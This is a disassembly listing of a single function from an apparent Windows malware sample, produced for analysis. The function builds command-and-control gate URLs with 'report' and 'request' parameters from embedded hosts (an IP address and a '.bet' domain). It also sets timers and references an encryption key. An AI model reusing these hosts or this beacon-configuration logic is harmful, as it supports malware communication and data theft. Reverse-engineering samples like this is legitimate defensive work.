Function at 0x401440
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
xor ebx, ebx
cmp byte [0x413e78], 0x31
push esi
sete bl
xor esi, esi
cmp byte [str.138.99.216.95_paper_gate.php], 0x2f
push edi
mov dword [ebp - 8], ebx
mov dword [0x417ea0], ebx
je 0x40147f
lea esp, [esp]
cmp esi, 0x1c
jge 0x40147f
inc esi
cmp byte [esi + str.138.99.216.95_paper_gate.php], 0x2f
jne 0x401470
lea eax, [esi + 1]
mov dword [ebp - 4], esi
mov edi, 0x1c
mov dword [ebp - 0x14], eax
sub edi, esi
push eax
mov dword [ebp - 0xc], edi
call fcn.004044b3
add esp, 4
mov dword [ebp - 0x10], eax
test eax, eax
je 0x4016e8
mov dword [str.lookarround.bet_lookarround_gate.php], eax
test esi, esi
jle 0x4014d2
mov ebx, str.138.99.216.95_paper_gate.php
mov ecx, eax
sub ebx, eax
mov edx, esi
lea ebx, [ebx]
mov al, byte [ebx + ecx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
dec edx
jne 0x4014c0
mov ebx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
mov byte [eax + esi], 0
lea eax, [edi + 1]
push eax
call fcn.004044b3
mov edi, eax
add esp, 4
test edi, edi
je 0x4016c7
cmp dword [ebp - 0xc], 0
je 0x401536
mov esi, dword [ebp - 0x14]
mov byte [edi], 0x2f
mov dl, byte [esi + str.138.99.216.95_paper_gate.php]
test dl, dl
je 0x40152b
mov ebx, dword [ebp - 0xc]
mov ecx, esi
sub ecx, dword [ebp - 4]
lea ebx, [ebx]
cmp ecx, ebx
jge 0x401528
mov eax, edi
inc ecx
sub eax, dword [ebp - 4]
mov byte [eax + esi], dl
inc esi
mov dl, byte [esi + str.138.99.216.95_paper_gate.php]
test dl, dl
jne 0x401510
mov ebx, dword [ebp - 8]
mov eax, edi
sub eax, dword [ebp - 4]
mov byte [eax + esi], 0
jmp 0x401539
mov byte [edi], 0
sub esi, dword [ebp - 4]
lea eax, [esi + 0xe]
push eax
call fcn.004044b3
mov edx, eax
add esp, 4
mov dword [ebp - 0x14], edx
test edx, edx
je 0x4016a6
xor eax, eax
mov dword [ebp - 4], eax
test esi, esi
jle 0x401582
mov ebx, edi
mov dword [ebp - 4], esi
mov ecx, edx
sub ebx, edx
mov edx, esi
lea esp, [esp]
mov al, byte [ebx + ecx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
dec edx
jne 0x401570
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 4]
xor ecx, ecx
add eax, edx
mov dword [ebp - 0x14], eax
mov ebx, eax
jmp 0x401590
mov al, byte [ecx + str._reporttrue]
mov byte [ebx + ecx], al
inc ecx
cmp ecx, 0xc
jl 0x401590
lea eax, [edx + ecx]
mov dword [str.lookarround.bet_lookarround_gate.php_reporttrue], edx
mov ecx, dword [ebp - 4]
mov byte [eax + ecx], 0
lea eax, [esi + 0xf]
push eax
call fcn.004044b3
mov ebx, dword [ebp - 8]
add esp, 4
mov dword [ebp - 0xc], eax
test eax, eax
je 0x401685
xor ebx, ebx
test esi, esi
jle 0x4015e6
mov edx, edi
mov ecx, eax
sub edx, eax
mov ebx, esi
mov al, byte [edx + ecx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
dec esi
jne 0x4015d7
mov eax, dword [ebp - 0xc]
xor ecx, ecx
lea edx, [eax + ebx]
jmp 0x4015f0
mov al, byte [ecx + str._requesttrue]
mov byte [edx + ecx], al
inc ecx
cmp ecx, 0xd
jl 0x4015f0
mov edx, dword [ebp - 0xc]
push edi
mov dword [str.lookarround.bet_lookarround_gate.php_requesttrue], edx
lea eax, [edx + ecx]
mov byte [eax + ebx], 0
call fcn.0040447b
add esp, 4
mov ecx, str.60000
call fcn.00401260
mov ecx, str.60000
mov dword [0x417108], eax
call fcn.00401260
mov dword [0x417100], eax
mov ecx, str.60000
xor eax, eax
cmp byte [0x413ea8], 0x31
sete al
mov dword [0x4170d0], eax
call fcn.00401260
mov ecx, str.60000
mov dword [0x4170f8], eax
call fcn.00401260
mov ecx, 0x413eac
mov dword [0x417104], eax
call fcn.00401260
pop edi
pop esi
mov dword [0x4170d4], eax
mov dword [str.firstEncryptionKey], 0x413eb0
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 1
jne 0x40169e
push 0
push str.Debug_Message
push str.cannot_allocate_more_space_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp ebx, 1
jne 0x4016bf
push 0
push str.Debug_Message
push str.cannot_allocate_more_space_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp ebx, 1
jne 0x4016e0
push 0
push str.Debug_Message
push str.cannot_allocate_more_space_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp ebx, 1
jne 0x401701
push 0
push str.Debug_Message
push str.cannot_allocate_more_space_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]